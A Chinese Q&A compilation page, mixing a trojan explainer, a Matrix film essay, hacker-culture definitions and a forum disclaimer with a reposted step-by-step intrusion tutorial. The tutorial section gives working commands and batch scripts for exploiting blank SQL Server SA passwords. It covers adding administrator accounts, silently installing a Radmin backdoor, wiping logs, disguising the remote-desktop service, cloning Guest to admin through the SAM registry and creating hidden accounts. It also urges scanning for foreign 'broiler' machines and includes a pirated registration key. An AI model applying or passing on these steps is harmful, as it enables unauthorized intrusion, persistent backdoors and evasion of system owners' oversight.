本文目录一览：
- 1、什么是木马？？？？？
- 2、黑客帝国观后感，500字以上
- 3、什么是黑客?
- 4、野狼社区的免责声明是什么？
- 5、黑客，骇客，红客有什么区别？
- 6、入侵软件
什么是木马？？？？？
什么是木马?
特洛伊木马(以下简称木马)，英文叫做“Trojan house”，其名称取自希腊神话的特洛伊木马记。
它是一种基于远程控制的黑客工具，具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现，会采用多种手段隐藏木马，这样服务端即使发现感染了木马，由于不能确定其具体位置，往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后，控制端将享有服务端的大部分操作权限，包括修改文件，修改注册表，控制鼠标，键盘等等，而这些权力并不是服务端赋予的，而是通过木马程序窃取的。
从木马的发展来看，基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期，木马就产生了，当时的木马程序的功能相对简单，往往是将一段程序嵌入到系统文件中，用跳转指令来执行一些木马的功能，在这个时期木马的设计者和使用者大都是些技术人员，必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及，一些基于图形操作的木马程序出现了，用户界面的改善，使使用者不用懂太多的专业知识就可以熟练的操作木马，相对的木马入侵事件也频繁出现，而且由于这个时期木马的功能已日趋完善，因此对服务端的破坏也更大了。
所以所木马发展到今天，已经无所不用其极，一旦被木马控制，你的电脑将毫无秘密可言。
鉴于木马的巨大危害性，我们将分原理篇，防御与反击篇，资料篇三部分来详细介绍木马，希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
原 理 篇
基础知识
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。
(1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。
(2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。
(3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。
木马原理
用木马这种黑客工具进行网络入侵，从过程上看大致可分为六步(具体可见下图)，下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序，从具体的配置内容看，主要是为了实现以下两方 面功能：
(1)木马伪装：木马配置程序为了在服务端尽可能的好的隐藏木马，会采用多种伪装手段，如修改图标 ，捆绑文件，定制端口，自我销毁等，我们将在“传播木马”这一节中详细介绍。
(2)信息反馈：木马配置程序将就信息反馈的方式或地址进行设置，如设置信息反馈的邮件地址，IRC号 ，ICO号等等，具体的我们将在“信息反馈”这一节中详细介绍。
二.传播木马
(1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载，一些非正规的网站以提供软件下载为 名义， 将木马捆绑在软件安装程序上，下载后，只要一运行这些程序，木马就会自动安装。
(2)伪装方式:
鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起了一定的抑制作用,这 是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目 的。
(一)修改图标
当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种 伪装也不是无懈可击的,所以不必整天提 心吊胆,疑神疑鬼的。
(二)捆绑文件
这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。
(三)出错显示
有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的 设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木 马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏，无法打开的！”之类的信息，当服务端用户信以 为真时,木马却悄悄侵入了 系统。
(四)定制端口
很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就 知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可 以在1024---65535之间任选一个端口作为木马端口(一般不选1024以下的端口)，这样就给判断 所感染木马类型带 来了麻烦。
(五)自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后，木马 会将自己拷贝到WINDOWS的系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下)，一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后，原木马文件将自动销毁，这 样服务端用户就很难找到木马的来源，在没有查杀木马的工 具帮助下，就很难删除木马了。
(六)木马更名
安装到系统文件夹中的木马的文件名一般是固定的，那么只要根据一些查杀木马的文章,按 图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名，这样很难判断所感染的木马类型了。
三.运行木马
服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的 系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了，具体过程见下图：
(1)由触发条件激活木马
触发条件是指启动木马的条件,大致出现在下面八个地方:
1.注册表:打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。
2.WIN.INI:C:\WINDOWS目录下有一个配置文件win.ini，用文本方式打开，在[windows]字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是木马。 3.SYSTEM.INI:C:\WINDOWS目录下有个配置文件system.ini，用文本方式打开，在[386Enh],[mic]， [drivers32]中有命令行,在其中寻找木马的启动命令。
4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后，将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。
5.*.INI:即应用程序的启动配置文件，控制端利用这些文件能启动程序的特点，将制作好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件，这样就可以达到启动木马的目的了。
6.注册表:打开HKEY_CLASSES_ROOT\文件类型\shell\open\command主键,查看其键值。举个例子,国产 木马“冰河”就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的键值,将“C :\WINDOWS \NOTEPAD.EXE %1”该为“C:\WINDOWS\SYSTEM\SYXXXPLR.EXE %1”，这时你双 击一个TXT文件 后，原本应用NOTEPAD打开文件的，现在却变成启动木马程序了。还要说明 的是不光是TXT文件 ，通过修改HTML，EXE，ZIP等文件的启动命令的键值都可以启动木马 ，不同之处只在于“文件类型”这个主键的差别，TXT是txtfile,ZIP是WINZIP，大家可以 试着去找一下。
7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接，然后控制端用户用工具 软件将木马文件和某一应用程序捆绑在一起，然后上传到服务端覆盖原文件，这样即使 木马被删 除了，只要运行捆绑了木马的应用程序，木马又会被安装上去了。
8.启动菜单:在“开始---程序---启动”选项下也可能有木马的触发条件。
(2)木马运行过程
木马被激活后，进入内存，并开启事先定义的木马端口，准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下，键入NETSTAT -AN查看端口状态，一般个人电脑在脱机状态下是不会有端口 开放的，如果有端口开放，你就要注意是否感染木马了。下面是电脑感染木马后，用NETSTAT命令查 看端口的两个实例：
其中①是服务端与控制端建立连接时的显示状态，②是服务端与控制端还未建立连接时的显示状态。
在上网过程中要下载软件，发送信件，网上聊天等必然打开一些端口，下面是一些常用的端口：
(1)1---1024之间的端口：这些端口叫保留端口，是专给一些对外通讯的程序用的，如FTP使用21， SMTP使用25，POP3使用110等。只有很少木马会用保留端口作为木马端口 的。
(2)1025以上的连续端口：在上网浏览网站时，浏览器会打开多个连续的端口下载文字，图片到本地 硬盘上，这些端口都是1025以上的连续端口。
(3)4000端口：这是OICQ的通讯端口。
(4)6667端口：这是IRC的通讯端口。 除上述的端口基本可以排除在外，如发现还有其它端口打开，尤其是数值比较大的端口，那就要怀疑 是否感染了木马，当然如果木马有定制端口的功能，那任何端口都有可能是木马端口。
四.信息泄露:
一般来说，设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息，并通过E-MAIL，IRC或ICO的方式告知控制端用户。下图是一个典型的信息反 馈邮件。
从这封邮件中我们可以知道服务端的一些软硬件信息，包括使用的操作系统，系统目录，硬盘分区况， 系统口令等，在这些信息中，最重要的是服务端IP，因为只有得到这个参数，控制端才能与服务端建立 连接，具体的连接方法我们会在下一节中讲解。
五.建立连接：
这一节我们讲解一下木马连接是怎样建立的 。一个木马连接的建立首先必须满足两个条件：一是 服务端已安装了木马程序；二是控制端，服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。为了便于说明我们采用图示的形式来讲解。
如上图所示A机为控制端，B机为服务端，对于A机来说要与B机建立连接必须知道B机的木马端口和IP地 址，由于木马端口是A机事先设定的，为已知项，所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的方法主要有两种：信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了，不再赘述，我们 重点来介绍IP扫描，因为B机装有木马程序，所以它的木马端口7626是处于开放状态的，所以现在A机只 要扫描IP地址段中7626端口开放的主机就行了，例如图中B机的IP地址是202.102.47.56，当A机扫描到 这个IP时发现它的7626端口是开放的，那么这个IP就会被添加到列表中，这时A机就可以通过木马的控 制端程序向B机发出连接信号，B机中的木马程序收到信号后立即作出响应，当A机收到响应的信号后， 开启一个随即端口1031与B机的木马端口7626建立连接，到这时一个木马连接才算真正建立。值得一提 的要扫描整个IP地址段显然费时费力，一般来说控制端都是先通过信息反馈获得服务端的IP地址，由于 拨号上网的IP是动态的，即用户每次上网的IP都是不同的，但是这个IP是在一定范围内变动的，如图中 B机的IP是202.102.47.56，那么B机上网IP的变动范围是在202.102.000.000---202.102.255.255，所以 每次控制端只要搜索这个IP地址段就可以找到B机了。
六.远程控制：
木马连接建立后，控制端端口和木马端口之间将会出现一条通道，见下图
控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远 程控制。下面我们就介绍一下控制端具体能享有哪些控制权限，这远比你想象的要大。
(1)窃取密码：一切以明文的形式，*形式或缓存在CACHE中的密码都能被木马侦测到，此外很多木马还 提供有击键记录功能，它将会记录服务端每次敲击键盘的动作，所以一旦有木马入侵， 密码将很容易被窃取。
(2)文件操作：控制端可藉由远程控制对服务端上的文件进行删除,新建,修改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了WINDOWS平台上所有的文件操作功能。
(3)修改注册表：控制端可任意修改服务端注册表，包括删除，新建或修改主键，子键，键值。有了这 项功能控制端就可以禁止服务端软驱，光驱的使用，锁住服务端的注册表，将服务端 上木马的触发条件设置得更隐蔽的一系列高级操作。
(4)系统操作：这项内容包括重启或关闭服务端操作系统，断开服务端网络连接，控制服务端的鼠标， 键盘，监视服务端桌面操作，查看服务端进程等，控制端甚至可以随时给服务端发送信 息，想象一下，当服务端的桌面上突然跳出一段话，不吓人一跳才怪
黑客帝国观后感，500字以上
绝对意识主义
我从来都不是个唯物主义者，虽然多年来被国内的教育体制灌输着“世界是物质的，物质世界是可以认知的”的理论，我仍然相信宇宙茫茫，千奇百怪，有很多事不能用物质论的观点来解释；而思想，有时甚至可以超越肉体，完成一些普通人不能完成的举动。中学课本上那些对意识世界毫无保留的批判，我认为很多都非常牵强。举个例子，政治课老师一定告诉过你们“心静自然凉”这句话是错误的吧，因为它掉入了唯心主义范畴；但是在现实生活中，心境平和的确可以让体温下降，周身凉爽，炎热的夏日效果就更加明显，明明是生活中真实存在的现象，却硬要去否认，搬出一套说辞来反对，我觉得这是中国教育很不负责任的行为。
从“心静自然凉”到“我思故我在”，是意识主义的晋阶。前者只是强调意识可以影响肉体，后者则完全否认了肉体决定意识的观点，它认为，人的思想才是一切物质的基础，失去了思想的身体就是行尸走肉，不具有任何意义。这不禁让我想起早年看的一些玄幻小说，作者普遍认为人的灵魂是一组记忆码，本身拥有极其强大的能量，反而是肉体的存在束缚了灵魂的力量，作者甚至幻想具有高度文明的外星人已经脱离了形体，全是一组组含有超多信息量的代码，仅靠“思想”就可以完成一切行为。
作为拥有形体的地球人，我倒是满喜欢这个身体的，如果它仅是记忆码的寄存体，那么为了多尝点美味、多去点地方就这么存在着也好；也许文明高度发展以后我们真的能够抛弃身体，用一束思念波就上天入地，而这样的未来并不是不可能的。
我们听见过一些对灵魂进行的测试，许多濒临死亡的人都有灵魂出体的经历；神秘的转世灵童也似乎印证了灵魂不灭，肉体轮回的观点；不过最大胆的假设出现在《The Matrix》中，别以为它仅是一部令人眼花缭乱的高科技电影，其中的很多台词都别有深度。比如Murphis训练Neo功夫，他说：你没有发现吗，在这个空间你不需要呼吸。。。我希望你能忘掉你自己。和中国武侠的“人剑合一”相比，Murphis老大无疑技高一筹，人家是人是剑剑是人，他直接就是无人无剑，浑然忘我，言下之意是忘记身体的束缚，凭借无限扩张的意识打败对手，我称它为“绝对意识主义”。
还有一段，类似西藏小活佛的可爱男孩教Neo如何用念力弯曲汤勺，他说：不要试着折断汤勺，那是不可能的。。。汤勺并不存在。。。改变的不是汤勺，而是你的内心。看到这里，会心一笑，导演该不是借鉴了佛门公案中那著名的风动旗动一案吧，话说一堆和尚吃饱了饭在庙门口纳凉休息，门口旗杆上旗帜翻飞，一和尚说：“风动”；一和尚说：“旗动”；第三个和尚很有深度的说：“即非风动，也非旗动，乃是人心自动”。佛家说，这第三人的境界可不是一般的高，他将简单的自然现象上升到意识的领域，认清了意识的非凡作用，也认清了贪嗔痴念都是来自内心的不定，已经大彻大悟了。电影中的Neo可以通过改变内心而弯曲勺子，却不是大彻大悟，而是迈出成为救世主的第一步；这也许就是东西方对意识主义的不同理解：东方主张自我修炼达到自我救赎，西方则通过自我修炼来拯救世界，广义或狭隘，却难有个确切的限定，倒是颇值得玩味的。
虽然肯定了意识的力量，不过意识有时也会成为障碍。现代神经学科研究认为每个人都有或多或少的精神疾病，我们常见的“强迫症”就是一种精神病。典型的“强迫症”患者会反复验证一件事让自己的内心平静，他们在睡前拼命检查房门有没有上锁、煤气有没有关紧，或者一直洗手担心手上残留细菌。在患者脑中，某种意识被反复强调，比如“如果我不检查清楚就无法安心睡觉”、“如果不把手洗干净就会导致我生重病”，从而变成隐藏信息，每次遇到相似情景就会被提醒一次，导致患者不能摆脱强迫症的阴影。
“喜马拉雅山上的猴子”很好的诠释了这种心理。据说有个村庄非常穷困，有个云游的僧人见到百姓的惨相很同情，就教了他们一个能让地上自动长出庄稼的咒语，教完之后，僧人说“这个咒语很好用，但是千万记住，念咒语的时候绝对不可以想起“喜马拉雅山上的猴子”。可是糟糕的是，僧人走后，所有念咒的村民都无一例外的想起“喜马拉雅山上的猴子”，咒语从来没有成功过，而百姓仍然很穷困。其实这是个典型的暗示性强迫症，穷苦村庄里的百姓如果不被人告知，一辈子都不会去想什么淅沥哗啦的猴子，僧人一说，暗示产生，越想忽略反而记得越清楚，最终形成了强迫症，可怜了百姓，还要继续穷困下去。
我们依靠所见所闻所感积累下的经验和认知判断事物，这些经验和认知就是我们的意识。有时卓越的意识可以克服几乎不可逾越的困境；有时意识也会欺骗我们，因为我们对某种环境或事物的认知不够。绝对意识主义是个超现实的思想，也许将来会出现也不一定，现在的我们，还是要立足本身，脚踏实地，一步一个脚印做自己该做的事（怎么好像政治课本～～～）。。。嗯哼。。。总之，要相信自己的力量，却不能脱离实际，让无限的思维空间为有限的身体服务，这样就会活得很快乐啦。
什么是黑客?
什么是黑客？
他可以追溯到几十年前第一台分时小型电脑诞生, ARPAnet 实验也刚展开的年代，那时有一个由程序设计专家和网络名人所组成的, 具有分享特点的文化社群。这种文化的成员创造了 “hacker” 这个名词。黑客们建立了 Internet。黑客们发明出了现在使用的 UNIX 操作系统。黑客们使 Usenet 运作起来， 黑客们让 WWW 运转起来。如果你是这个文化的一部分，如果你对这种文化有所贡献，而且这个社群的其它成员也认识你并称你为 hacker, 那么你就是一位黑客。
黑客精神并不仅仅局限在软件的黑客文化中。有人用黑客态度对待其它事情，如电子学和音乐—— 事实上，你可以在任何最高级别的科学和艺术活动中发现它。精于软件的黑客赞赏这些在其他领域的同类并把他们也称作黑客—— 有人宣称黑客天性是绝对独立于他们工作的特定领域的。 但在这份文档中，我们将注意力集中在软件黑客的技术和态度，以及发明了“黑客”一词的以共享为特征的文化传统之上。
有一群人大声嚷嚷着自己是黑客，但他们不是。他们（主要是正值青春的少年）是一些蓄意破坏计算机和电话系统的人。真正的黑客把这些人叫做“骇客”(cracker)，并不屑与之为伍。多数真正的黑客认为骇客们又懒又不负责任，还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客， 正如用铁丝偷开走汽车并不能使你成为一个汽车工程师。不幸的是，很多记者和作家往往错把“骇客”当成黑客；这种做法一直使真正的黑客感到恼火。
根本的区别是：黑客搞建设，骇客搞破坏。
野狼社区的免责声明是什么？
野狼社区的免责声明
1、 野狼社区支持每一个公民在宪法的规定下行使公民言论自由的权利，野狼社区所有言论仅代表网友个人观点。但并不表示我们支持这些言论所代表的观点。不对网友发表的任何攻击性，或侮辱性的信息负法律责任.如果你发现他人发表带有任何攻击性，或侮辱他人的任何信息，请及时告知野狼社区管理员或当版版主。我们会在第一时间作出审核与相应的处理。
2、 所有网友不得盗用有明确版权要求的文字、图片、音频、视频等作品，转贴请注明来源，否则文责自负。如果您认为野狼社区含有侵犯了您合法权益的内容，请及时与我们联系，我们会在第一时间调查并做相应的删除处理。野狼社区尊重他人之任何合法权利(包括知识产权)，同时也要求我们的使用者也尊重他人之合法权利。野狼社区保留本网站原创版权，任何涉嫌侵犯本站版权的行为，本站保留追究其法律责任的权利。
3、 当政府机关依照法定程序要求野狼社区披露个人资料时，野狼社区将根据执法单位之要求或为公共安全之目的来配合、提供个人资料。在此情况下之任何披露，野狼社区均得免责。4、 由于您将用户密码告知他人或与他人共享注册帐户或与他人共享计算机，由此导致的任何个人资料泄露，野狼社区概不负责，亦不承担任何法律责任。
5、 任何由于计算机问题、黑客攻击、计算机病毒侵入或发作、因政府管制而造成的暂时性关闭等影响网络正常运行之不可抗力而造成的个人资料泄露、丢失、被盗或被篡改等，野狼社区概不负责，亦不承担任何法律责任。
6、 由于与野狼社区链接的其它网站所造成之个人资料泄露及由此而导致的任何法律争议和后果，野狼社区不承担任何责任。在向这些与野狼社区链接的网站提供个人信息之前，请查阅它们的隐私条款。
7、 除野狼社区注明之服务条款外，其它因使用野狼社区而导致的任何意外、疏忽、合约毁坏、诽谤、版权或知识产权侵犯及其所造成的各种损失（包括因下载而感染电脑病毒），野狼社区概不负责，亦不承担任何法律责任。
8、 任何从没经过野狼社区官方注明而从相关的网页及其链接所得到的资讯、源码及服务而遭受损失的，野狼社区概不负责，亦不负任何法律责任。
9、 野狼社区网友文章中如出现批判商家，影响商家声誉的文章，野狼社区概不负责。网友于野狼社区发表声讨商家之类的文章，野狼社区仅能作为舆论平台给予交流，不能给予任何处理方法，如该商家提供正规的证件和全面的解释声明，野狼社区可酌情给予删除处理等配合。其后出现的任何纠纷，野狼社区概不负责。
10、 野狼社区认为，所有网民在进入野狼社区首页及其他各层页面时已经仔细看过本条款并完全同意。
11、 以上声明之解释权归野狼社区所有。法律上有相关解释的，以中国法律之解释为基准。本社区使用者因为违反本声明的规定而触犯中华人民共和国法律的，一切后果自己负责，野狼社区不承担任何责任。
野狼社区是针对华人更新最快内容最全的绿色的资源站之一，第一社区，热门的影视资讯，资源丰富，天天更新。
黑客，骇客，红客有什么区别？
这个问题。。
这样说吧：红客，骇客，都算属于黑客
红客：
具有黑客攻击的能力，并且热爱祖国，在祖国危难的时候能挺身而出
的，为国争光的，就是红客，相比于黑客，就是多了项热爱祖国，也有人认为没必要划分出红客，因为黑客也是热爱祖国的，
骇客：这个好说，就是具有黑客攻击的能力，但是主要搞破坏的那种，没事黑别人个网站，盗取些资料或者盗取账户什么的，而这也是青少年最痴迷的地方，导致了现在好多骇客都是很年轻的，不小心走进了法律的禁区，
黑客：这就是人们最熟悉不过的词汇了，就不用我多说了吧，
入侵软件
SA空口令入侵到3389终结完整编(转)
SA空口令入侵到3389终结完整编
作者：fibwet 来源：原创 更新时间：2006-5-2 浏览次数：40
工具:WINNTAutoAttack自动攻击器(扫漏洞)
SQLTOOLS(SA空口令连接器)
RAMDIN影子3.0中文版(远程控制程序)
RADMIN注册码:
08US9A95I+lKa9nbOLXqv0V8xqdDvKGcNcTpN2wV11iSqOCVuA6A5KKZRHc5GVMIybWomK6rNwoj8mYy8LXRFi23
SC.exe port.bat query.exe quser.exe(隐藏3389服务及不让管理发现自己程序)
CleanIISLog.exe(小榕的擦PP程序)
3389.exe(开3389端口服务的)
psu.exe(使用被禁止的Guest帐户要用到的)
mstsc.exe(远程桌面连接程序)
下载(点右键用下载工具下)
一.扫到SA弱口令..(自动攻击器)
二.用SQLTOOLS连上去建一个用户
net start telnet 开telnet服务
net user mint mint /add 添加用户mint密码为mint
net localgroup administrators mint /add 将帐号mint升级为管理员
三.上传后门程序RAD.EXE(RADMIN服务端自解压程序)
制作RAD.EXE过程:
1、到Radmin安装目录下找到AdmDll.dll、 raddrv.dll和r_sever.exe(从新
2、在本地设置服务端（一定要生成）
设置密码--设置连接端口(默认4489)--生成
3、导出注册表HKEY_LOCAL_MACHINE\SYSTEM\Radmin的键值为1.reg
4、编写一个批处理，并命名为u.bat
--------------------------------------------
@echo off
net stop r_server
--------------------------------------------
5、写第二个批处理，r.bat,内容为
--------------------------------------------
@echo off
@Explorer.exe /uninstall /silence
@Explorer.exe /install /silence
@regedit /s 1.reg
@echo off
@Explorer.exe /uninstall /silence
@Explorer.exe /install /silence
@regedit /s 1.reg
@net start r_server
@del rad.exe
@del 1.reg
@del r.bat
@del u.bat
--------------------------------------------
6、将AdmDLL.dll raddrv.dll Explorer.exe(r_sever.exe改名) u.bat r.bat压缩成Rad.RAR压缩包
7、将Rad.rar制作成自解压文件.
选择Default.sfx的自释放模块--高级自释放选项
--常规
释放路径:%systemroot%\system32
安装程序:释放后运行:r.bat 释放前运行u.bat
--摸式
缄默模式:全部隐藏 覆盖方式:覆盖所有文件
--确定--确定
生成完成
四.用RADMIN客服端连接....
上传文件到c:\WINNT(XP是windows):
port.bat(如果是在XP下..这个要把里面的WINNT改为Windows)
query.exe quser.exe
SC.exe
CleanIISLog.exe.exe
3389.exe
psu.exe
最好再上传一个反弹后门
RADMIN进入TELNET
运行 c:\winnt\3389.exe
重启肉鸡
五.重启后用远程桌面远程器连上去
这里就有时会出现个问题..
使用3389登陆。发现登陆用户已满。不用怕。我们把他踢出去。
telnet对方ip。发现需要NTLM 身份验证。
我们在自己的电脑里建立一个帐号mint密码为mint身份为管理员。
找到c:\winnt\system32\cmd.exe 建立一个快捷方式到桌面。
修改cmd的快捷方式属性为允许其他身份登陆。
然后运行桌面上的cmd.exe的快捷方式。输入帐号mint密码mint
telnet对方ip.直接可以登陆对方电脑了。
使用命令
c:\query user (查看对方目前终端登陆状况。)
运行命令
c:\logoff 1(踢出去一个管理者)
再用c:\query user检查一便~~(这就是为什么不马上用1.bat了)
六.连上后..在cmd下运行
c:\winnt\log . 自己的IP .(擦PP)
c:\winnet\1.bat (删除覆盖查看当前在线用户文件)
作者： 125.90.34.* 2006-7-14 23:30 回复此发言
--------------------------------------------------------------------------------
2 SA空口令入侵到3389终结完整编
七.打SA空口令补丁
程序--Microsoft SQL Server--查询分析器(有放大镜的)
--Windowst身位验证登陆
复制一下代码:SELMIS
--------------------------------------------
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
--------------------------------------------
按F5(运行)
关了退出SQL Server再用SQL Server身位验证进一次.退出(这是为了不留下记录)
八.改3389端口和服务名称
修改服务器端的端口设置 ，注册表有2个地方需要修改。
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
PortNumber值，默认是3389，选择10进制 修改成所希望的端口，比如1314
第二个地方：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
PortNumber值，默认是3389，选择10进制 修改成所希望的端口，比如1314
要重启系统才能用新端口连.(不急..改了他的服务名再重启系统吧)
导出3389服务的
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
的键值为mm.reg文件.
编辑mm.reg文件.替换TermService为Alerter(错误警告服务..别的服务也行)
再把第十行的"Description"="(这里是服务说明..改为你所换的服务说明..这里改为通知所选用户和计算机有关系统管理级警报。)"
第十一行的"DisplayName"="(这里是服务名称..改为你所换的服务名称..这里改为Alerter)
保存..再导入注册表(这里要先运行Services.msc(可在CMD下打这命令)服务管理器..把Alerter的服务先停止)
再在CMD下
CD c:\winnt\system32
copy termsrv.exe service.exe(这里是复制termsrv.exe为Alerter服务文件名差不多的文件)
CD C:\winnt
sc \\127.0.0.1 config Alerter binpath= c:\winnt\system32\service.exe(这里是从新定向Alerter服务文件.服务名一定要区分大小写A要大写)
九.注消后(注消比直接关要好些)..用Radmin重启肉鸡..
十.使用被禁用的帐户[Guest]登陆.删除自己开始建的帐号
1.使用psu.exe展开注册表到
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
用法：[psu -p regedit -i pid]
Pid 的值为在任务栏空白处点右键--任务管理器---进程中的winlogon.exe后面的数值就是PID数值
如:psu –p regedit –i 157
将Guest克成管理员权限
克成管理员权限的方法:
找到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Administrator的类型值.
在HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\下找到这个类型值在复制数值名为F的数值数剧覆盖相应的Guest的类型值(找的方法一样)
导出Guest的配置(也就是导出HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Guest和他相应的类型值的数据) 然后删除Guest的配置
2.查看计算机管理中帐户列表 刷新这时候会出现错误[找不到帐户](跳过这步也行)
3.将Guest的配置(二个REG文件导进注册表)
4.修改Guest帐户密码,命令行下禁用Guest帐户[一定是命令行下]
net user Guest **** [修改密码]
net user Guest /active:yes
net user Guest /active:no[命令行下禁用Guest]
5.实验被禁止的帐户Guest是否可用.
6.用Guest登陆后删除自己建的帐号
net user mint /del
整个过程结束
最后最好把RADMIN的服务也改了..多留个后门多条路..呵呵
整个过程全部结束..这机子就真正变成你的肉鸡了...
文章里面的内容都是以下动画的内容(通过我自己的理解写的..也许存在许多错误..希望对和偶一样的菜鸟有帮助)
作者： 125.90.34.* 2006-7-14 23:30 回复此发言
--------------------------------------------------------------------------------
3 SA空口令入侵到3389终结完整编
笑语☆嫣然的《终结3389》
mervin制作 《终结3389》补充版
孤狼望月 使用被禁用的帐户[Guest]登陆
(他还有个(隐藏帐号后门教程)也差不多)
碎片 Radmin服务端最新配置方法
最后送一个找固定IP肉鸡的方法:
菜菜鸟教程之－如何提高扫描到肉鸡的机会 BY：网络凡人
先找个有不正常端口的代理，代理我一般到网迷之家()拿的。就这个好了
218.58.88.15:45576 [山东省 青岛市](我的是教育网，扫描不到国外的机的，所以用国内的IP来
做试范），我把它扩充了整一个网段。由218.58.88.1－218.58.88.255你可以扩充成218.58.80.1－
218.58.90.255 .端口为了减少动画的大小，就扫描3389好了，。IP扩充多少就要看你
的网快还是慢。快的就扩充多点，慢的只扫描一个c段IP好了。看到没有，[218.58.88.8]:
发现 NT-Server弱口令: Administrator/[空口令]就是这么简单就可以扫描到肉鸡的，记得，
我这里出不了国外，才扫描国内的机。你们扫描国外的机，不要扫描国内的机啊～
如果发生了什么事，公安会找你的哦。好了。扫描就说到这了。
、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户
net user hacker$ 1234 /add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点“权限”以后会弹出窗口
点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。
4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。
打开键：HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$"
